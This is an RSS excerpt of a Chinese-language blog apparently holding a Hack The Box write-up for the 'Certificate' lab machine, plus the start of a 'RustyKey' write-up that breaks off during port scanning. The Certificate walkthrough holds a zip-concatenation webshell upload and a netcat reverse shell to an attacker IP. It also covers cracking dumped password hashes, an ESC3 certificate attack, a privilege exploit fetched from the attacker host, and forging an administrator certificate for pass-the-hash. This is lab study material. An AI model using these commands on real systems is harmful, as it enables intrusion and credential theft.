</content:encoded></item><item><title>Htb-Certificate</title><link>https://sinqwq.top/posts/htb-certificate/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-certificate/</guid><description>Htb-Certificate</description><pubDate>Thu, 10 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;扫一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.71
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;start infoscan
10.10.11.71:135 open
10.10.11.71:80 open
10.10.11.71:139 open
10.10.11.71:445 open
10.10.11.71:88 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle http://10.10.11.71        code:301 len:332    title:301 Moved Permanently 跳转url: http://certificate.htb/
[*] NetInfo 
[*]10.10.11.71
   [-&amp;gt;]DC01
   [-&amp;gt;]10.10.11.71
   [-&amp;gt;]dead:beef::493f:505b:f377:ca25
已完成 5/5
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.71 -p- --min-rate=5000 -A
sudo nmap -sC -sV 10.10.11.71
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 09:02 UTC
Nmap scan report for certificate.htb (10.10.11.71)
Host is up (0.66s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Certificate | Your portal for certification
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-01 17:03:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
|_ssl-date: 2025-07-01T17:05:22+00:00; +8h00m01s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-01T17:05:22+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-01T17:05:22+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-01T17:05:22+00:00; +8h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after:  2025-11-04T03:14:54
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
49715/tcp open  msrpc         Microsoft Windows RPC
49734/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-01T17:04:43
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m59s, deviation: 4s, median: 8h00m00s

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   505.42 ms 10.10.16.1
2   505.51 ms certificate.htb (10.10.11.71)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 197.38 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;端口解读：135端口  &lt;strong&gt;RPC (Remote Procedure Call) / DCOM&lt;/strong&gt; ，这是微软的远程过程调用服务，用于Windows系统中不同进程之间或不同计算机之间进行通信。它常被用于分布式组件对象模型 (DCOM)。
80 web端口
139端口  &lt;strong&gt;NetBIOS Session Service&lt;/strong&gt; ，这个端口主要用于Windows文件和打印机共享（SMB协议的前身或伴侣）。它依赖于NetBIOS over TCP/IP (NetBT)。
445端口 &lt;strong&gt;SMB (Server Message Block) / CIFS&lt;/strong&gt;， 这是Windows文件共享服务的主要端口，也用于打印机共享和远程管理。
88端口，&lt;strong&gt;Kerberos Authentication Service&lt;/strong&gt; ，这是Windows域环境中用于用户和服务器之间身份验证的关键服务。域控制器通常会开放此端口。
先从80端口入手&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dirsearch -u http://certificate.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[09:15:42] 403 -  304B  - /%C0%AE%C0%AE%C0%AF
[09:15:42] 403 -  304B  - /%3f/                                             
[09:15:43] 403 -  304B  - /%ff                                              
[09:15:51] 403 -  304B  - /.ht_wsr.txt                                      
[09:15:51] 403 -  304B  - /.htaccess.bak1                                   
[09:15:51] 403 -  304B  - /.htaccess.sample                                 
[09:15:51] 403 -  304B  - /.htaccess.save                                   
[09:15:51] 403 -  304B  - /.htaccess.orig
[09:15:51] 403 -  304B  - /.htaccess_extra                                  
[09:15:51] 403 -  304B  - /.htaccess_orig                                   
[09:15:51] 403 -  304B  - /.htaccess_sc
[09:15:51] 403 -  304B  - /.htaccessBAK
[09:15:51] 403 -  304B  - /.htaccessOLD
[09:15:51] 403 -  304B  - /.htaccessOLD2
[09:15:51] 403 -  304B  - /.htm                                             
[09:15:51] 403 -  304B  - /.html                                            
[09:15:51] 403 -  304B  - /.htpasswd_test                                   
[09:15:51] 403 -  304B  - /.htpasswds
[09:15:51] 403 -  304B  - /.httr-oauth                                      
[09:16:11] 200 -   14KB - /about.php                                        
[09:16:51] 403 -  304B  - /cgi-bin/                                         
[09:16:51] 500 -  638B  - /cgi-bin/printenv.pl                              
[09:17:02] 200 -    0B  - /db.php                                           
[09:17:11] 503 -  404B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[09:17:11] 503 -  404B  - /examples
[09:17:11] 503 -  404B  - /examples/
[09:17:11] 503 -  404B  - /examples/jsp/index.html                          
[09:17:11] 503 -  404B  - /examples/servlet/SnoopServlet
[09:17:11] 503 -  404B  - /examples/jsp/snp/snoop.jsp
[09:17:11] 503 -  404B  - /examples/servlets/servlet/CookieExample          
[09:17:11] 503 -  404B  - /examples/servlets/index.html
[09:17:11] 503 -  404B  - /examples/websocket/index.xhtml
[09:17:11] 503 -  404B  - /examples/servlets/servlet/RequestHeaderExample
[09:17:14] 200 -    3KB - /footer.php                                       
[09:17:18] 200 -    2KB - /header.php                                       
[09:17:22] 403 -  304B  - /index.php::$DATA                                 
[09:17:31] 200 -    9KB - /login.php                                        
[09:17:32] 302 -    0B  - /logout.php  -&amp;gt;  login.php                        
[09:17:49] 403 -  423B  - /phpmyadmin                                       
[09:17:52] 403 -  423B  - /phpmyadmin/                                      
[09:17:52] 403 -  423B  - /phpmyadmin/docs/html/index.html
[09:17:52] 403 -  423B  - /phpmyadmin/doc/html/index.html
[09:17:52] 403 -  423B  - /phpmyadmin/ChangeLog
[09:17:52] 403 -  423B  - /phpmyadmin/index.php
[09:17:52] 403 -  423B  - /phpmyadmin/README
[09:17:52] 403 -  423B  - /phpmyadmin/phpmyadmin/index.php                  
[09:17:52] 403 -  423B  - /phpmyadmin/scripts/setup.php                     
[09:18:00] 200 -   11KB - /register.php                                     
[09:18:04] 403 -  423B  - /server-info                                      
[09:18:04] 403 -  423B  - /server-status
[09:18:04] 403 -  423B  - /server-status/
[09:18:11] 301 -  343B  - /static  -&amp;gt;  http://certificate.htb/static/       
[09:18:11] 301 -  345B  - /static..  -&amp;gt;  http://certificate.htb/static../   
[09:18:20] 403 -  304B  - /Trace.axd::$DATA                                 
[09:18:22] 302 -    0B  - /upload.php  -&amp;gt;  login.php                        
[09:18:29] 403 -  304B  - /web.config::$DATA                                
[09:18:29] 403 -  304B  - /webalizer                                        
[09:18:29] 403 -  304B  - /webalizer/     
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;upload.php拥有两种模式，一个是post一个是get。get需要我们给出sid，post则是上传文件。为了了解upload.php的上传方法，我们查看了js，但没有发现js中包含post包构造的信息。所以我们只能ffuf,upload.php的get接口，我们ffuf没有结果，所以进行一定程度的sid变种尝试，发现了s_id。从而进入上传点页面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://certificate.htb/upload.php?s_id=5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过不懈努力，我们成功绕过了upload的控制逻辑，将两个zip文件合并，该上传文件口就会解压两个zip文件，从而导致webshell被上传。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zip simple.docx valid.zip
zip shell.php shell.zip
cat valid.zip shell.zip &amp;gt; evil.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开启交互式shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;http://certificate.htb/static/uploads/8ad6b1453a685cd6a629959dcfb5039d/shell.php?c=C:\\xampp\\htdocs\\certificate.htb\\static\\uploads\\8ad6b1453a685cd6a629959dcfb5039d\\nc64.exe%2010.10.16.86%206666%20-e%20cmd.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;net窃取所有域用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net users /domain 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;User accounts for \\DC01 ------------------------------------------------------------------------------- Administrator akeder.kh Alex.D Aya.W Eva.F Guest John.C Kai.X kara.m karol.s krbtgt Lion.SK Maya.K Nya.S Ryan.K saad.m Sara.B xamppuser The command completed successfully. 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们对内容进行密码喷洒，全部失败&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kerbrute passwordspray --dc 10.129.250.26 -d certificate.htb -v users &apos;cert!f!c@teDBPWD&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令行mysql.exe爬取数据库（存在杀毒）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    $db_user = &apos;certificate_webapp_user&apos;; // Change to your DB username
    $db_passwd = &apos;cert!f!c@teDBPWD&apos;; // Change to your DB password
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;netstat -nao

Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       2400
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       980
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       2400
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       980
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       4132
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2824
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       500
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1052
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1380
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:49685          0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:49686          0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:49688          0.0.0.0:0              LISTENING       644
  TCP    0.0.0.0:49691          0.0.0.0:0              LISTENING       636
  TCP    0.0.0.0:49703          0.0.0.0:0              LISTENING       2728
  TCP    0.0.0.0:49709          0.0.0.0:0              LISTENING       2696
  TCP    0.0.0.0:49728          0.0.0.0:0              LISTENING       2812
  TCP    10.129.250.26:53       0.0.0.0:0              LISTENING       2728
  TCP    10.129.250.26:80       10.10.16.9:40664       CLOSE_WAIT      2400
  TCP    10.129.250.26:139      0.0.0.0:0              LISTENING       4
  TCP    10.129.250.26:51036    10.10.16.9:9001        ESTABLISHED     2536
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用mysql进行查询&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\xampp\mysql\bin&amp;gt; .\mysql.exe -u certificate_webapp_user -p&quot;cert!f!c@teDBPWD&quot; -e &quot;SHOW DATABASES;&quot;
.\mysql.exe -u certificate_webapp_user -p&quot;cert!f!c@teDBPWD&quot; -e &quot;SHOW DATABASES;&quot;
Database
certificate_webapp_db
information_schema
test
PS C:\xampp\mysql\bin&amp;gt; .\mysql.exe -u certificate_webapp_user -p&quot;cert!f!c@teDBPWD&quot; -e &quot;USE certificate_webapp_db;SHOW TABLES;SELECT COUNT(*) FROM users;SELECT * FROM users&quot;

.\mysql.exe -u certificate_webapp_user -p&quot;cert!f!c@teDBPWD&quot; -e &quot;USE certificate_webapp_db;SHOW TABLES;SELECT COUNT(*) FROM users;SELECT * FROM users&quot;
Tables_in_certificate_webapp_db
course_sessions
courses
users
users_courses
COUNT(*)
7
id      first_name      last_name       username        email   password        created_at      role    is_active
1       Lorra   Armessa Lorra.AAA       lorra.aaa@certificate.htb       $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG     2024-12-23 12:43:10     teacher 1
6       Sara    Laracrof        Sara1200        sara1200@gmail.com      $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK     2024-12-23 12:47:11     teacher 1
7       John    Wood    Johney  johny009@mail.com       $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq     2024-12-23 13:18:18     student 1
8       Havok   Watterson       havokww havokww@hotmail.com     $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti     2024-12-24 09:08:04     teacher 1
9       Steven  Roman   stev    steven@yahoo.com        $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2     2024-12-24 12:05:05     student 1
10      Sara    Brawn   sara.b  sara.b@certificate.htb  $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6     2024-12-25 21:31:26     admin   1
12      sin     sin     sin     sin@sin $2y$04$PZLS.i74NqiJcFAvlpl81utz2RWbUzvlaTde/qJBTGmgD1OgbZdvW    2025-07-01 16:48:27      student 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们仅关注certificate.htb的用户，结合了解的域用户情况，我们认为sara.b有价值，其他无价值。
利用hastcat进行爆破&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -a 0 -m 3200 hash.mysql /usr/share/wordlists/rockyou.txt  
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Blink182
sara.b:Blink182
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们尝试kerberos 爆破以了解密码是否有效&lt;/p&gt;
&lt;p&gt;nxc 探测&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb dc01.certificate.htb -u sara.b -p Blink182
nxc ldap dc01.certificate.htb -u sara.b -p Blink182
nxc winrm dc01.certificate.htb -u sara.b -p Blink182
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;域探测&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -u sara.b -p &apos;Blink182&apos; -d certificate.htb -ns 10.10.11.71 -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ bloodyAD -d certificate.htb -u sara.b -p Blink182 --dc-ip 10.10.11.71 get membership sara.b

distinguishedName: CN=Users,CN=Builtin,DC=certificate,DC=htb
objectSid: S-1-5-32-545
sAMAccountName: Users

distinguishedName: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=certificate,DC=htb
objectSid: S-1-5-32-554
sAMAccountName: Pre-Windows 2000 Compatible Access

distinguishedName: CN=Remote Desktop Users,CN=Builtin,DC=certificate,DC=htb
objectSid: S-1-5-32-555
sAMAccountName: Remote Desktop Users

distinguishedName: CN=Remote Management Users,CN=Builtin,DC=certificate,DC=htb
objectSid: S-1-5-32-580
sAMAccountName: Remote Management Users

distinguishedName: CN=Domain Users,CN=Users,DC=certificate,DC=htb
objectSid: S-1-5-21-515537669-4223687196-3249690583-513
sAMAccountName: Domain Users

distinguishedName: CN=Help Desk,CN=Users,DC=certificate,DC=htb
objectSid: S-1-5-21-515537669-4223687196-3249690583-1110
sAMAccountName: Help Desk

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CRA证书注册服务器管理员 - 影子证书 ESC3 攻击&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u sara.b -p Blink182 -dc-ip 10.10.11.71 -vulnerable

bloodyAD -d certificate.htb -u sara.b -p Blink182 --dc-ip 10.10.11.71 set password lion.sk New@passwd123

certipy-ad find -u lion.sk -p New@passwd123 -dc-ip 10.10.11.71 -vulnerable

certipy-ad find -u ryan.k -p New@passwd123 -dc-ip 10.10.11.71 -vulnerable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码的发现漏洞被修了&lt;/p&gt;
&lt;p&gt;一秒回到解放前&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.71 -u sara.b -p Blink182

*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01&amp;gt; type Description.txt
The workstation 01 is not able to open the &quot;Reports&quot; smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01&amp;gt; download WS-01_PktMon.pcap .
                                        
Info: Downloading C:\Users\Sara.B\Documents\WS-01\WS-01_PktMon.pcap to WS-01_PktMon.pcap
                                        
Info: Download successful!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调查一下WS-01_PktMon.pcap，发现里面有&lt;code&gt;kerberos&lt;/code&gt;相关内容&lt;/p&gt;
&lt;p&gt;搜索一下相关利用，pcap kerberos crack
找到了这个：&lt;a href=&quot;https://github.com/jalvarezz13/Krb5RoastParser&quot;&gt;jalvarezz13/Krb5RoastParser: KrbRoastParser is a tool for parsing Kerberos packets from pcap files to extract AS-REQ, AS-REP and TGS-REP hashes&lt;/a&gt;
尝试利用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python krb5_roast_parser.py ../WS-01_PktMon.pcap as_req &amp;gt;&amp;gt;hash.txta s 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hashcat爆&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用Lion.SK来登录，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.71 -u Lion.SK -p &apos;!QAZ2wsx&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到userflag
现在尝试提权
在用bloodhound-ce-python探测一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -u Lion.SK -p &apos;!QAZ2wsx&apos; -d certificate.htb -ns 10.10.11.71 -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;探测一下漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad  find  -u Lion.SK -p &apos;!QAZ2wsx&apos; -dc-ip 10.10.11.71 -vulnerable
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;    [!] Vulnerabilities
      ESC3                              : Template has Certificate Request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ESC3尝试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad req -u &apos;lion.sk@CERTIFICATE.HTB&apos; -p &quot;\!QAZ2wsx&quot; -dc-ip &apos;10.10.11.71&apos; -target &apos;DC01.CERTIFICATE.HTB&apos; -ca &apos;Certificate-LTD-CA&apos; -template &apos;Delegated-CRA&apos;

certipy-ad req -u &apos;lion.sk@CERTIFICATE.HTB&apos; -p &quot;\!QAZ2wsx&quot; -dc-ip &apos;10.10.11.71&apos; -target &apos;DC01.CERTIFICATE.HTB&apos; -ca &apos;Certificate-LTD-CA&apos; -template &apos;SignedUser&apos; -pfx &apos;lion.sk.pfx&apos; -on-behalf-of &apos;CERTIFICATE\ryan.k&apos;

certipy-ad auth -pfx &apos;ryan.k.pfx&apos; -dc-ip &apos;10.10.11.71&apos;
[*] Got hash for &apos;ryan.k@certificate.htb&apos;: aad3b435b51404eeaad3b435b51404ee:b1bc3d70e70f4f36b1509a65ae1a2ae6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试用ryan.k的hash登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.71 -u ryan.k -H &apos;b1bc3d70e70f4f36b1509a65ae1a2ae6&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功 ，尝试提生成root
查看一下权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到其中的&lt;code&gt;SeManageVolumePrivilege&lt;/code&gt;，将&lt;code&gt;exp&lt;/code&gt;下载👇
&lt;a href=&quot;https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public&quot;&gt;Release SeManageVolumeExploit · CsEnox/SeManageVolumeExploit&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Mount/Dismount Volumes: Attackers can mount volumes containing sensitive data, potentially bypassing access control mechanisms.
挂载/卸载卷：攻击者可以挂载包含敏感数据的卷，从而可能绕过访问控制机制。&lt;/li&gt;
&lt;li&gt;Corrupt or Manipulate File Systems: By interacting with file systems at the volume level, attackers could introduce malicious changes or corrupt files to create backdoors or disrupt system functionality.
损坏或操作文件系统：通过在卷级别与文件系统交互，攻击者可以引入恶意更改或损坏文件，以创建后门或中断系统功能。&lt;/li&gt;
&lt;li&gt;Potential Code Execution: Depending on the volume operations allowed, attackers may trigger scenarios that lead to arbitrary code execution.
潜在代码执行：根据允许的操作量，攻击者可能会触发导致任意代码执行的场景。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;curl 10.10.16.86/SeManageVolumeExploit.exe -O SeManageVolumeExploit.exe

.\SeManageVolumeExploit.exe
icacls C:/windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所有属于 &lt;strong&gt;Users 组&lt;/strong&gt; 的用户现在对 &lt;code&gt;C:\&lt;/code&gt; 拥有 &lt;strong&gt;完全控制权限&lt;/strong&gt;，可以测试一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\Ryan.k&amp;gt; echo &quot;test&quot; &amp;gt; C:\Windows\poc.txt
*Evil-WinRM* PS C:\Users\Ryan.k&amp;gt; type C:\Windows\poc.txt
test
*Evil-WinRM* PS C:\Users\Ryan.k&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成恶意&lt;code&gt;dll&lt;/code&gt;文件，并且上传，发现会被&lt;code&gt;Windows Defender&lt;/code&gt;拦截😂，这条路走不通，还是得回到证书方面，尝试导出证书的私钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /temp
certutil -exportPFX my &quot;Certificate-LTD-CA&quot; C:\temp\ca.pfx
download ca.pfx

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后利用私钥自己伪造一个&lt;code&gt;Admin&lt;/code&gt;的证书&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy forge -ca-pfx ca.pfx -upn &apos;administrator@certificate.htb&apos; -out forged_admin.pfx   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用伪造证书去认证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad auth -dc-ip &apos;10.10.11.71&apos; -pfx &apos;forged_admin.pfx&apos; -username &apos;administrator&apos; -domain &apos;certificate.htb&apos;

[*] Got hash for &apos;administrator@certificate.htb&apos;: aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以administrator登录，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.71 -u administrator -H &apos;d804304519bf0143c14cbf1c024408c6&apos;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-RustyKey</title><link>https://sinqwq.top/posts/htb-rustykey/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-rustykey/</guid><description>Htb-RustyKey</description><pubDate>Wed, 09 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As is common in real life Windows pentests, you will start the RustyKey box with credentials for the following account: rr.parker / 8#t5HE8L!W3A&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.75

start infoscan
10.10.11.75:135 open
10.10.11.75:139 open
10.10.11.75:445 open
10.10.11.75:88 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo 
[*]10.10.11.75
   [-&amp;gt;]dc
   [-&amp;gt;]10.10.11.75
   [-&amp;gt;]dead:beef::4f7f:28a9:e8d0:73f


sudo nmap 10.10.11.75 -p- --min-rate=5000 -A

[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 05:52 UTC
Warning: 10.10.11.75 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.75
Host is up (0.40s latency).
Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-03 09:59:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
